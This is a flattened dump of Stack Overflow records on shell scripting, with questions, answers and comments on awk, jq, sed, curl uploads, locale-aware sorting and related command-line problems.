has title: Error substituting elements of column awk
tagged with: shell
has comment: http://stackoverflow.com/comment/135023457
has comment: http://stackoverflow.com/comment/135023761
tagged with: awk
has comment: http://stackoverflow.com/comment/135023854
has comment: http://stackoverflow.com/comment/135023399
has answer: http://stackoverflow.com/a/76582487
has comment: http://stackoverflow.com/comment/135027756
tagged with: bash
has body: I'm using the titanic csv and i've been trying to substitute the elements of the 5th and 12th column, sex and embarked, so the elements of sex instead of being male/female should be m/f and in the 12th column instead of being the first letter of the port have to be the full name of the port. The csv originally looks like this: PassengerId,Survived,Pclass,Name,Sex,Age,SibSp,Parch,Ticket,Fare,Cabin,Embarked 1,0,3,"Braund, Mr. Owen Harris",male,22,1,0,A/5 21171,7.25,Nan,S 2,1,1,"Cumings, Mrs. John Bradley (Florence Briggs Thayer)",female,38,1,0,PC 17599,71.28,C85,C ... 886,0,3,"Rice, Mrs. William (Margaret Norton)",female,39,0,5,382652,29.12,Nan,Q 890,1,1,"Behr, Mr. Karl Howell",male,26,0,0,111369,30.00,C148,C 891,0,3,"Dooley, Mr. Patrick",male,32,0,0,370376,7.75,Nan,Q And it should look like this after the modifications: PassengerId,Survived,Pclass,Name,Sex,Age,SibSp,Parch,Ticket,Fare,Cabin,Embarked 1,0,3,"Braund, Mr. Owen Harris",m,22,1,0,A/5 21171,7.25,Nan,Southampton 2,1,1,"Cumings, Mrs. John Bradley (Florence Briggs Thayer)",f,38,1,0,PC 17599,71.28,C85,Cherbourg ... 886,0,3,"Rice, Mrs. William (Margaret Norton)",f,39,0,5,382652,29.12,Nan,Queenstown 890,1,1,"Behr, Mr. Karl Howell",m,26,0,0,111369,30.00,C148,Cherbourg 891,0,3,"Dooley, Mr. Patrick",m,32,0,0,370376,7.75,Nan,Queenstown But it doesn't substitute the elements of the 12th column except in the last row, the column sex is substituted correctly: PassengerId,Survived,Pclass,Name,Sex,Age,SibSp,Parch,Ticket,Fare,Cabin,Embarked 1,0,3,"Braund, Mr. Owen Harris",m,22,1,0,A/5 21171,7.25,Nan,S 2,1,1,"Cumings, Mrs. John Bradley (Florence Briggs Thayer)",f,38,1,0,PC 17599,71.28,C85,C ... 886,0,3,"Rice, Mrs. William (Margaret Norton)",f,39,0,5,382652,29.12,Nan,Q 890,1,1,"Behr, Mr. Karl Howell",m,26,0,0,111369,30.00,C148,C 891,0,3,"Dooley, Mr. Patrick",m,32,0,0,370376,7.75,Nan,Queenstown The script is the following: BEGIN { FPAT = "([^,]*)|(\"[^\"]+\")" OFS = "," } { # Cambiar el valor de la columna sexo a 0 si es "femal…
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76582487
has answer: http://stackoverflow.com/a/76582274
answer count: 2
possible better answer: http://stackoverflow.com/a/76582274

http://stackoverflow.com/q/76656017
score: 0
type: Question
type: UnansweredQuestion
has body: I’m trying to merge these objects (preferably appending arrays from common x values) and not having any luck. I realize this is a noop but it’s the closest thing to what I think I want that doesn’t error: jq -n -rSC 'def data: {"a": {"x": "t", "y": ["a","b"]}, "b": {"x": "t", "y": ["c","d"]}, "c": {"x": "r", "y": ["a","c"]}}; data | .[] | reduce . as $item ({}; . + $item)' { "x": "t", "y": [ "a", "b" ] } { "x": "t", "y": [ "c", "d" ] } { "x": "r", "y": [ "a", "c" ] } Expected output would be: { "x": "t", "y": [ [ "a", "b” ], [ "c", "d" ] ] } { "x": "r", "y": [ [ "a", "c" ] ] } This is example code. What I’d really like is this merged: gcloud compute snapshots list --project "foo" --format=json | jq -rSC '.[] | select((.sourceDisk | test("data-disk$")) and (.autoCreated | true)) | {(.sourceDisk | match("/([^/]+$)").captures[0].string): [.diskSizeGb, .name, .creationTimestamp]}' I’m kinda good with any outputs from the gcloud command that allows me to have snapshot data for an instance under one object. But I’m hoping it’s pretty similar to my example data. I’ve tried simple add, the above reduces, map/map_value
tagged with: jq
has comment: http://stackoverflow.com/comment/135149915
has comment: http://stackoverflow.com/comment/135149728
answer count: 1
has title: jq merge data from different objects
has answer: http://stackoverflow.com/a/76656463
tagged with: shell
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/135166421
score: 0
comment on: http://stackoverflow.com/a/76656905
type: Comment
type: AnswerComment
has text: yes but I want to cycle to it every 6-7 minutes not to just manually swap to it if you understand

http://stackoverflow.com/comment/135152019
has text: This doesn't account for the 30 days part, but will sort the remote branches for you by date, oldest first: `git branch -r --sort=committerdate` (And you can use `--sort=-committerdate` to sort descending.)
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76657149
type: Comment

http://stackoverflow.com/comment/135035497
type: Comment
comment on: http://stackoverflow.com/q/76588578
score: 0
has text: @Theo, ChangePasswordAtLogon is Boolean; see https://learn.microsoft.com/powershell/module/activedirectory/set-aduser
type: QuestionComment

http://stackoverflow.com/comment/135040623
has text: Your primary problem is -- as in your other question -- you're using `ls -l`, so the output isn't a *filename*, it's a human-readable description of the metadata including permissions, owner, group, and file size. You can't just use that as an argument to `date -r` and expect it to work; for `date -r` you need **just the filename**.
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/76591635

http://stackoverflow.com/comment/135226815
type: Comment
comment on: http://stackoverflow.com/q/76697805
score: 1
type: QuestionComment
has text: Why don't you simply permit spaces in filenames and make sure that your program process them properly? Note that a filename can contain any character except `/` and NUL. Further, you define a function `file_proc`, but never call it. Your loop will simply run forever, without doing anything. Finally, I don't understand the _files are coming as source _. What does it mean that a file "comes as source"? Please be a bit more clear in describing your problem.

events
type: Tag
tag name: events
tags question: http://stackoverflow.com/q/76579691

http://stackoverflow.com/comment/135150201
type: AnswerComment
comment on: http://stackoverflow.com/a/76656211
score: 0
has text: Woops, I think the issue might be `| Select-Object -ExpandProperty Line`, that shouldn't be there either :P @RayPlays
type: Comment

abaqus
type: Tag
tag name: abaqus
tags question: http://stackoverflow.com/q/76551048

http://stackoverflow.com/comment/135247660
type: Comment
score: 0
has text: @user20042973 I've added some clarifications. I switch properly to the right database before trying to use `show collections`.
comment on: http://stackoverflow.com/q/76710355
type: QuestionComment

http://stackoverflow.com/q/76650830
accepted answer: http://stackoverflow.com/a/76650910
tagged with: sed
has comment: http://stackoverflow.com/comment/135140390
has title: How to alter a variable with a shell script using sed
score: 1
has answer: http://stackoverflow.com/a/76650910
upvote count: 1
has comment: http://stackoverflow.com/comment/135140455
answer count: 1
favorite count: 0
type: AnsweredQuestion
downvote count: 0
tagged with: variable-assignment
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135140428
has body: I am attempting to alter the values in a .dat file for a model I am running. The issue is that the code cannot simply be changed with the sed -i 's/old_text/new_text/' The .dat file I am attempting to change looks like 0.000E-00 !Argon 7.956E-03 !Methane 0.000E-00 !Ethane 1.945E-03 !Carbon Dioxide 9.901E-01 !Nitrogen 1.000E-40 !Oxygen 0.000E-00 !Hydrogen 0.000E-00 !Nitrogen Dioxide 22 !Tropopause layer I am attempting to alter the values for methane, nitrogen, and carbon dioxide, however I cannot simply tell it to replace '7.965E-03 !Methane' because after the first time I run the shell script, that value will change. I have attempted to replace !Methane with $'variable name' !Methane, but that does not solve the issue of removing the number, nor will it work after the first time I compile the script. The current script is #file=atmos-master-copy1/CLIMA/IO/mixing_ratios.dat #sed -i 's/Methane.*/'$muCH4_1' !Methane/' $file But I dont know how to make it start by altering the contents at the beginning of the file.
has comment: http://stackoverflow.com/comment/135140360
has comment: http://stackoverflow.com/comment/135140486

http://stackoverflow.com/comment/135028102
type: Comment
type: AnswerComment
has text: This is okay but my only problem now it will still email with an empty content every 5min
score: 0
comment on: http://stackoverflow.com/a/76577017

http://stackoverflow.com/comment/135170953
score: 0
comment on: http://stackoverflow.com/q/76664368
type: QuestionComment
type: Comment
has text: @Barmar "s_supervisor.php" runs perect by itself when I browse " http://localhost/s_supervisor.php " in my browser. And also takes the browser in hang while running loops. It means that s_supervisor.php in OK and the problem is just with ```exec("php -f s_supervisor.php >/dev/null 2>&1 &");```

http://stackoverflow.com/a/76696254
has comment: http://stackoverflow.com/comment/135234884
has comment: http://stackoverflow.com/comment/135231135
has comment: http://stackoverflow.com/comment/135235626
answers question: http://stackoverflow.com/q/76696095
has comment: http://stackoverflow.com/comment/135222257
score: 0
has comment: http://stackoverflow.com/comment/135223724
has comment: http://stackoverflow.com/comment/135222664
type: Answer
has body: Clever. The easiest way to amend your code to work is to change [0] to .0, and then match integers and cast them to numbers. #!/usr/bin/jq -rn [ "creation_date", "data.transactionType", "data.location.zoneId", "data.media.typeCode", "data.media.postPaymentEvent.0.transactionDate", "id" ] as $h | $h, (inputs | ([getpath($h[] | . / "." | map(if test("^[[:digit:]]+$") then tonumber else . end)) ])) | @csv

http://stackoverflow.com/comment/134984411
comment on: http://stackoverflow.com/a/76558876
score: 0
type: Comment
type: AnswerComment
has text: That was going to be my next question, is how to get that to print to a file and also work the same way.

http://stackoverflow.com/comment/135176111
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76669795
has text: @user1934428 You pushed me in the right direction with this, thank you. I've made some alterations and now have it working.
type: QuestionComment

http://stackoverflow.com/comment/135127989
type: Comment
score: 0
has text: when i start a new terminal and run : flutter doctor , i got : zsh: command not found: flutter
type: QuestionComment
comment on: http://stackoverflow.com/q/76643341

http://stackoverflow.com/a/76626502
accepted answer of: http://stackoverflow.com/q/76622495
score: 0
answers question: http://stackoverflow.com/q/76622495
type: Answer
type: AcceptedAnswer
has body: Finally I found a way to manage the rust environment varialbe, on the visual studio code launch.json, add the envFile configuration: "envFile": "${workspaceFolder}/.env" then in the project folder add an .env file and add the environment key value into .env like this: KEY1=VALUE1 also you can choose the dotenv package but I found this repo stop maintain for 3 years, not recommend.

http://stackoverflow.com/q/76566011
has comment: http://stackoverflow.com/comment/134996573
has answer: http://stackoverflow.com/a/76566415
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76659566
has title: How do I run a python project from anywhere on my computer without providing the full path?
has comment: http://stackoverflow.com/comment/134996935
has comment: http://stackoverflow.com/comment/134996558
type: UnansweredQuestion
downvote count: 0
tagged with: environment-variables
score: 3
favorite count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/134996599
tagged with: project
answer count: 2
has comment: http://stackoverflow.com/comment/134996896
has body: I have a python project that has a structure something like this: TestProject ├── README.md ├── env └── test_project ├── __init__.py ├── __main__.py ├── file_1.py └── file_2.py and I would like to be able to run it from anywhere on my file system just by calling test_project --arg1 --arg2 --etc The dream is to have a separate experiments directory where I can run my code while providing configs without having to type out the full path all the time. I've added #!/usr/bin/env python3 to the top of my __main__.py file but I don't know what to add to what $PATH or $PYTHONPATH to make it work. (I'm running on MacOS) Thanks for your help!
upvote count: 3

http://stackoverflow.com/comment/134966265
score: 0
has text: Yes, I tried it and my grep found it - not sure what's up. As regards the regex, `term[12]` is quite a long way from `cat|dog` for someone asking this question - one is a character set, and the other is an alternation. Anyway, kudos for answering.
comment on: http://stackoverflow.com/a/76545097
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76633664
tagged with: unix
has answer: http://stackoverflow.com/a/76640309
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135130865
type: UnansweredQuestion
has body: My first file contains the following text: γβα αγβ βαγ I want to sort the lines in the alphabetical order, so I use the following command: sort -t'|' -f -i path/to/input1.txt > path/to/output1.txt Then I get the following output: αγβ βαγ γβα So the command seems to work as expected (with the non-Latin characters). Then my second file contains the following text: 1|γβα 2|αγβ 3|βαγ I want to sort it by the second column in the alphabetical order, so I use the following command: sort -t'|' -f -i -k2 path/to/input2.txt > path/to/output2.txt Then I get the following output: 1|γβα 2|αγβ 3|βαγ But the expected output is 2|αγβ 3|βαγ 1|γβα The locale command shows LANG=C.UTF-8 LC_CTYPE="C.UTF-8" LC_NUMERIC="C.UTF-8" LC_TIME="C.UTF-8" LC_COLLATE="C.UTF-8" LC_MONETARY="C.UTF-8" LC_MESSAGES="C.UTF-8" LC_ALL= Then I added LANG="en_US.utf8" export LANG to the .bash_profile file. Now the locale command shows LANG=en_US.utf8 LC_CTYPE="en_US.utf8" LC_NUMERIC="en_US.utf8" LC_TIME="en_US.utf8" LC_COLLATE="en_US.utf8" LC_MONETARY="en_US.utf8" LC_MESSAGES="en_US.utf8" LC_ALL= The file -bi path/to/input2.txt command shows text/plain; charset=utf-8 So I executed the second command again: sort -t'|' -f -i -k2 path/to/input2.txt > path/to/output2.txt But the output is the same: 1|γβα 2|αγβ 3|βαγ Why doesn't the second command work as expected? How to sort by keys in the alphabetical order if they contain non-Latin characters? How to explain the fact that the sorting is correct when I don’t specify the key?
has comment: http://stackoverflow.com/comment/135130832
has title: How to sort by keys if they contain non-Latin characters?
tagged with: sorting
has comment: http://stackoverflow.com/comment/135111907
answer count: 1

http://stackoverflow.com/comment/135059472
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76602223
score: 0
has text: @pynexj Using `set -x` just before `curl...` gives this output. `++ curl -k -4 -v -X POST -H 'Authorization: Bearer hiddenAPIKey' -F file=@/home/user/Documents/ShareX/Screenshots/2023/image_20230703_12201688367021.jpg https://api.nightlight.gg/v1/upload curl: (26) Failed to open/read local data from file/application`

http://stackoverflow.com/a/76663454
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76661943
score: 1
has body: Focusing solely on the awk script; I will leave it to the OP to (re)format as needed for inclusion in the nextflow script file ... One awk approach: awk ' BEGIN { FS="\t" } FNR==NR { sp = $0 # 1st file: copy specie gsub(/[[:space:]]/,"_",sp) # replace spaces with "_" specie[$0] # save specie name as index to specie[] array fname[$0] = sp "_lines.txt" # create filename associated with this specie next } $3 in specie { # 2nd file: if 3rd column is index in specie[] array then ... print $0 > fname[$3] # print current line to associated file # close(fname[$3]) # uncomment if awk complains of too many open file descriptors } ' fungalname krakenfile NOTES: this replaces OP's current while/read/awk loop if the number of unique species is 'too large' then some versions of awk may complain of too many open file descriptors; uncommenting the close(fname[$3]) command should alleviate this issue with the side effect that the script will run slower This generates: $ head *_lines.txt ==> Aspergillus_fumigatus_lines.txt <== xxxx 548 Aspergillus fumigatus aaaa 598 Aspergillus fumigatus ==> Candida_albicans_lines.txt <== zzzz 566 Candida albicans kkk 888 Candida albicans If the number of species is 'too large' and requires an excessive number of close() calls, we can pre-sort krakenfile; a reduced number of close() calls may improve performance: awk ' BEGIN { FS="\t" } FNR==NR { sp = $0 gsub(/[[:space:]]/,"_",sp) specie[$0] fname[$0] = sp "_lines.txt" next } $3 in specie { if (prev != $3 ) # if this is a new specie then ... close(fname[prev]) # close the previous file prev = $3 # save the new specie print $0 > fname[$3] # print current line to associated file } ' fungalname <(sort -t$'\t' -k3,3 krakenfile) This generates: $ head *_lines.txt ==> Aspergillus_fumigatus_lines.txt <== xxxx 548 Aspergillus fumigatus aaaa 598 Aspergillus fumigatus ==> Candida_albicans_lines.txt <== zzzz 566 Candida albicans kkk 888 Candida albicans NOTES: the order of the lines in the *_lines.txt files is …

http://stackoverflow.com/comment/135147984
score: 1
has text: Your code cannot work since in your sample data you have gene_id == ENSCAFG00845015183, which is not listed in your reference file.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76645511

http://stackoverflow.com/comment/135039467
has text: yes. I have managed to do it now
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76590436
score: 0

http://stackoverflow.com/comment/135127947
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76643341
has text: Start a new Terminal.
type: QuestionComment

http://stackoverflow.com/q/76688062
has comment: http://stackoverflow.com/comment/135216779
accepted answer: http://stackoverflow.com/a/76688081
has body: When I run the command $ echo "Hello, World!" | tr -c 'aeiou' '*', the terminal returns *e**o***o*****. There are only 4 characters after the last vowel o, so tr should replace each of them with a * to return *e**o***o****, but it is adding one more * to the output string which seems illogical to me. I also tried $ echo "o!" | tr -c 'aeiou' '*', but still it is returning o** instead of o*. Can anyone please help me understand the reason?
score: 0
tagged with: bash
has title: Why does an additional `*` gets appended to the output in the following bash command?
answer count: 1
type: AnsweredQuestion
tagged with: command
tagged with: echo
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76688081
tagged with: tr

http://stackoverflow.com/comment/135099016
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76621621
has text: The `eval` is commented out. That's why it is not executed. It would not make much sense anyway.....
score: 0

process
tag name: process
tags question: http://stackoverflow.com/q/76631657
type: Tag
tags question: http://stackoverflow.com/q/76749128
tags question: http://stackoverflow.com/q/77147140
tags question: http://stackoverflow.com/q/77115001
tags question: http://stackoverflow.com/q/78359720
tags question: http://stackoverflow.com/q/78381184
tags question: http://stackoverflow.com/q/78617714
tags question: http://stackoverflow.com/q/78823127
tags question: http://stackoverflow.com/q/78848478
tags question: http://stackoverflow.com/q/79033853
tags question: http://stackoverflow.com/q/79125465
tags question: http://stackoverflow.com/q/79155445
tags question: http://stackoverflow.com/q/79215566

http://stackoverflow.com/comment/135108403
comment on: http://stackoverflow.com/q/76631657
type: Comment
has text: Shell operators are not processed when you expand a variable. You need to use `eval` to get it to re-parse after expanding the variable.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135049804
has text: That is the correct way to run a builtin shell command. The program works as expected [on the playground](https://go.dev/play/p/BQI1GNWz7Wr). Print stderr determine the cause of the problem in your environment. This [example on the playground](https://go.dev/play/p/0njvGSFW1cv) shows one way to print stderr.
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76596444

http://stackoverflow.com/q/76602223
downvote count: 0
has comment: http://stackoverflow.com/comment/135062098
tagged with: bash
has comment: http://stackoverflow.com/comment/135059279
has comment: http://stackoverflow.com/comment/135059865
upvote count: 1
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135061248
type: AnsweredQuestion
has body: I am trying to use curl to send an image to an API, but while using it with variables within a shell scripts, I am getting an error. curl: (26) Failed to open/read local data from file/application The code looks like this: DATE_NOW=$(date "+%Y%m%d_%H%M%s") curl -k -4 -v -X POST -H "Authorization: Bearer $API_KEY" -F "file=@/home/user/Documents/ShareX/Screenshots/2023/image_"$DATE_NOW".jpg" $API_URL I suspected "$DATE_NOW" to be the issue but using echo as shown below in the same script is replacing all variables correctly. When I use the command without any variables separately in a command line, it correctly uploads the file. echo "curl -k -4 -v -X POST -H "Authorization: Bearer $API_KEY" -F "file=@/home/user/Documents/ShareX/Screenshots/2023/image_"$DATE_NOW".jpg" $API_URL" I have tried to add curly braces like "${DATE_NOW}" but it has the same result. I have looked at several posts including When to wrap quotes around a shell variable How to pass a variable in a curl command in shell scripting and several others but have failed to solve the problem.
has title: cURL error (26) when using a variable in filename
has comment: http://stackoverflow.com/comment/135059472
tagged with: curl
has comment: http://stackoverflow.com/comment/135060894
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135066851
linked to: http://stackoverflow.com/q/13341955
score: 1
has answer: http://stackoverflow.com/a/76603604
has comment: http://stackoverflow.com/comment/135066907
has comment: http://stackoverflow.com/comment/135066861
accepted answer: http://stackoverflow.com/a/76603604
linked to: http://stackoverflow.com/q/10067266

http://stackoverflow.com/a/76582757
accepted answer of: http://stackoverflow.com/q/76582602
type: Answer
score: 1
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76582602
has body: To perform an OS operation (eg, cp) from within awk you'll want to look at the system() function, eg: awk -F"'" 'tolower($1) ~ /^include / {system("cp \"" $2 "\" dir1")}' main_file Since the objective here is to perform an OS-level file copy it may be more straightforward to do this in bash ... Adding a file with spaces in the name and creating the files/dir: $ cat main_file lines here another line Include 'file1' include 'file2' include 'file3 with spaces' endoffile $ touch file1 file2 'file3 with spaces' $ mkdir dir1 One idea: while IFS="'" read -r _ fname _ do cp "$fname" dir1 done < <(grep -i '^include ' main_file) Before running either set of code (awk, bash): $ ls -l dir1 # no output => nothing in directory After running either set of code (awk, bash): $ ls -l dir1 -rw-rw----+ 1 username None 30 Jun 29 10:50 file1 -rw-rw----+ 1 username None 90 Jun 29 10:50 file2 -rw-rw----+ 1 username None 0 Jun 29 10:50 'file3 with spaces' NOTE: both solutions (awk, bash) assume the file names are always wrapped in single quotes and the file names do not include any single quotes
downvote count: 0

http://stackoverflow.com/q/76549073
possible better answer: http://stackoverflow.com/a/76549806
upvote count: 1
favorite count: 0
type: AnsweredQuestion
has title: Update specific lines and columns with values from another reference file
tagged with: awk
answer count: 3
has answer: http://stackoverflow.com/a/76549806
has answer: http://stackoverflow.com/a/76552229
linked to: http://stackoverflow.com/q/65621325
has comment: http://stackoverflow.com/comment/134972990
linked to: http://stackoverflow.com/q/76444752
type: Question
has comment: http://stackoverflow.com/comment/134973416
accepted answer: http://stackoverflow.com/a/76552229
tagged with: shell
has body: This is a follow-up question on my previous thread ( Update the second line after the matched row with reference values) with more advanced requirement. I have a master file main that I wish to modify with 2 objectives: (1) to find the MATCH LINE phrase in main, jump 2 lines down and replace the 3rd column with values given second column of the reffile ; (2) if a line has write output phrase, replace its 4th column with similar replacement. So ref has 2 columns: first one for the output filenames and 2nd one for the replacement values. Please see below for the sample and desired output. main file one line here This is the 'MATCH LINE' # this is just a comment Now this *** to be updated write output label *** another line here ref file Out1 ONE Out2 TWO Out3 THREE desired outputs file1 (Out1) one line here This is the 'MATCH LINE' # this is just a comment Now this ONE to be updated write output label ONE another line here desired outputs file1 (Out2) one line here This is the 'MATCH LINE' # this is just a comment Now this TWO to be updated write output label TWO another line here desired outputs file1 (Out3) one line here This is the 'MATCH LINE' # this is just a comment Now this THREE to be updated write output label THREE another line here My script is originated from Ed Morton @ed-morton who kindly helped me for the previous thread and I have modified it to adopt to new requirement but it gives me error. I appreciate your help. #!/bin/awk -f NR == FNR { lines[++numLines] = $0 a[NR]=$2 if ( /\047MATCH LINE\047/ ) { tgt1 = NR + 2 } if ( /write output/ ) { tgt2 = NR } next } { for ( lineNr=1; lineNr<=numLines; lineNr++ ) { line = lines[lineNr] if ( lineNr == tgt1 ) { #sub(/NUMBER/,$2,line) line[$3]=a[FNR] } if ( lineNr == tgt2 ) { line[$4]=a[FNR] } print line > $1 } close($1) } ./tst.awk main ref Error: scalar "line" cannot be used as array Ed suggested to split the line into array, replace the right index and stitch them together; but the output looks weird. Here is…
score: 1
has comment: http://stackoverflow.com/comment/134969967
has answer: http://stackoverflow.com/a/76550686
downvote count: 0

http://stackoverflow.com/q/76596444
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/62295028
tagged with: go
downvote count: 1
has comment: http://stackoverflow.com/comment/135051154
score: 2
has comment: http://stackoverflow.com/comment/135050241
answer count: 2
has body: I am trying to run a built in shell command in golang and get the result. Here is the code: package main import ( "fmt" "os/exec" ) func main(){ cmd := exec.Command("sh", "-c", "history") stdout, err := cmd.Output() if err != nil { fmt.Println(err.Error()) return } fmt.Println(string(stdout)) } However i just get the output: exit status 127 Any help would be appreciated.
has answer: http://stackoverflow.com/a/76598524
favorite count: 0
has comment: http://stackoverflow.com/comment/135049804
has title: How to run a built in shell command using golang
has answer: http://stackoverflow.com/a/76597537
has comment: http://stackoverflow.com/comment/135054289
upvote count: 3
type: Question
tagged with: shell

http://stackoverflow.com/q/76646008
score: 0
has answer: http://stackoverflow.com/a/76646341
has body: I want to create an application with all of the traditional shell features (command history by pressing up/down, autocomplete with Tab, etc.) which will also allow for a couple of static rows at the top of the window (as text) in which I wish to display status information. i.e., when the user scrolls through the output, the static rows of status text remain in place. I cannot find any tool which satisfies what I'm looking for, although perhaps I just lack the jargon to find it. I can't find any text-freezing feature in PowerShell or other shells or terminals CUIs such as GUI.cs can easily provide "header" text elements which stay in place, but can't fully emulate a console window (where some text is editable and some is not, with history and functional autocomplete, etc) without a seemingly overwhelming amount of work The closest I've come to finding what I'm looking for is ConEmu, which can be used to integrate shells into WinForms. I suspect that I could smash together some UI elements alongside a PowerShell element to display status information in a way which would be unaffected by scrolling, assuming I'm understanding its use correctly. Is this an appropriate solution, or is there a better way?
tagged with: powershell
answer count: 1
has title: Console application/shell script with static "header" text at top of the window
type: Question
tagged with: shell
type: UnansweredQuestion
tagged with: conemu

http://stackoverflow.com/comment/135096741
type: Comment
score: 0
has text: And if it's not in valid bash syntax, you need to define what its syntax is before this question can be answered.
comment on: http://stackoverflow.com/q/76624545
type: QuestionComment

http://stackoverflow.com/comment/135211050
type: QuestionComment
comment on: http://stackoverflow.com/q/76692218
type: Comment
has text: Do the answers to ["How do I parse command line arguments in Bash?"](https://stackoverflow.com/questions/192249/how-do-i-parse-command-line-arguments-in-bash) and [BashFAQ #35: "How can I handle command-line options and arguments in my script easily?"](http://mywiki.wooledge.org/BashFAQ/035) answer your question?
score: 1

http://stackoverflow.com/q/76656022
has comment: http://stackoverflow.com/comment/135151165
has comment: http://stackoverflow.com/comment/135151140
has comment: http://stackoverflow.com/comment/135151874
has comment: http://stackoverflow.com/comment/135151844
has comment: http://stackoverflow.com/comment/135150905
has answer: http://stackoverflow.com/a/76679059
has comment: http://stackoverflow.com/comment/135151867
answer count: 2
has comment: http://stackoverflow.com/comment/135149749
tagged with: linux
tagged with: bash
type: Question
has title: Challenging: Ignore special characters in bash script
has body: I have a very simple script that prints on screen what ever passed to it on the first argument, the string always come out wrong, and the problem is that this script is being called from another program and passes a variable to that script as the first argument, so there is no way for me to alter the string itself, but only how it is being called or passed. e.g. var string=test@$134!' ssh user@server ./echo_string.sh #string# #string# is how I'm passing the variable to shell script, this get replaced with test@$134!', but it doesn't show on the logs and never gets printed. When I call the script with ./echo_string.sh #string# the output the I'm looking for is this test@$134!' Kindly note that the previous is just an example and the string can have any special characters at any position
has comment: http://stackoverflow.com/comment/135154844
has comment: http://stackoverflow.com/comment/135149782
has comment: http://stackoverflow.com/comment/135149767
has answer: http://stackoverflow.com/a/76656840
score: 0
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/a/76688251
type: Answer
accepted answer of: http://stackoverflow.com/q/76687885
has body: get-value assigns the value of id_no and outputs the input. But then your main script assigns id_no to hold the output of get-value, which is the key you pass in. Not the behaviour you're looking for. Try function get-value { printf '%s\n' "${my_ids[$1]:?"no such key"}" } ${var:?error-message} emits the error message if var is null or unset and produces an error status. See https://www.gnu.org/software/bash/manual/bash.html#Shell-Parameter-Expansion Then the main script can have if ! id_no=$(get-value "$id_key"); then echo "try a different key" exit 1 fi do-something-with "$id_no"
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/76687885

http://stackoverflow.com/comment/135130832
comment on: http://stackoverflow.com/q/76633664
score: 0
type: Comment
has text: What character encoding is the file using? I have a feeling it's not utf-8.
type: QuestionComment

http://stackoverflow.com/comment/135163302
comment on: http://stackoverflow.com/a/76656905
has text: If the application is already open then it will switch to it.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76690713
has comment: http://stackoverflow.com/comment/135211700
has comment: http://stackoverflow.com/comment/135211768
tagged with: winapi
has title: Overriding the thumbnail of a single file using WinAPI
has comment: http://stackoverflow.com/comment/135214340
tagged with: windows
has comment: http://stackoverflow.com/comment/135212418
has comment: http://stackoverflow.com/comment/135212480
has comment: http://stackoverflow.com/comment/135214828
tagged with: shell-extensions
type: Question
has comment: http://stackoverflow.com/comment/135211603
tagged with: shell
answer count: 0
has body: I'm making my own thumbnail manager because I needed some obscure features. I implemented IThumbnailProvider, and it mostly works, but now I'm trying to make some basic UI. One of the things I got stuck on is the equivalent of a feature of "Media Preview": In the "Testing and Cache" tab you can drag-n-drop files to check and regenerate their thumbnails. Somehow, "Media Preview" immediately updates the thumbnails of those files in explorer, but I only managed to read an existing thumbnail for a file. I'm pretty sure it's not about something like permissions. VisualStudio is running as admin (only while I'm trying to get anything working ofc). UAC is dead, and so are Windows Defender and Firewall. And in the script registering the IThumbnailProvider implementation, I added DisableProcessIsolation=1 so it can report every problem to me. SHChangeNotify is not it. It notifies the system to check, but there needs to be an actual change (in the registry or file itself) for IThumbnailProvider to be called. For instance, if I change the last write time of the file before calling SHChangeNotify - it works. But, needless to say, that's not a solution. My latest try is based on Phind's suggestion on how to read thumbnails (when I asked how to override them). Nevertheless, I checked the interfaces and found ISharedBitmap::InitializeBitmap. At least I can't find any other use for it. I mean, from msdn - ISharedBitmap is only returned from 2 methods of IThumbnailCache, so surely it would have something to do with my case... Anyway, here is what I've done in my dummy "Test" project: [ComImport()] [Guid("091162a4-bc96-411f-aae8-c5122cd03363")] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface ISharedBitmap { uint GetSharedBitmap( [Out] out IntPtr phbm ); uint GetSize( [Out, MarshalAs(UnmanagedType.Struct)] out SIZE pSize ); uint GetFormat( [Out] out WTS_ALPHATYPE pat ); uint InitializeBitmap( [In] IntPtr hbm, [In] WTS_ALPHATYPE wtsAT ); uint Detach( [Out] out In…
downvote count: 0
tagged with: thumbnails
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0

http://stackoverflow.com/a/76582487
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/76581584
has body: Since a change in the middle of the row works, but not at the end, I suspect line-endings are your problem. Trailing \r would explain your symptoms. A more robust approach to manipulate CSV is to use a tool that already has a full CSV parser built into it. Python has CSV support or, for example, sqlite3 is widely available: #!/bin/sh sqlite3 >"new.csv" <<'EOD' .mode csv .headers on .import "orig.csv" t update t set sex = case when sex="female" then "f" when sex="male" then "m" else sex end, embarked = case when embarked="C" then "Cherbourg" when embarked="Q" then "Queenstown" when embarked="S" then "Southampton" else embarked end ; select * from t; EOD
answers question: http://stackoverflow.com/q/76581584
downvote count: 0
type: AcceptedAnswer
upvote count: 2

http://stackoverflow.com/comment/135179547
comment on: http://stackoverflow.com/q/76673561
type: Comment
score: 0
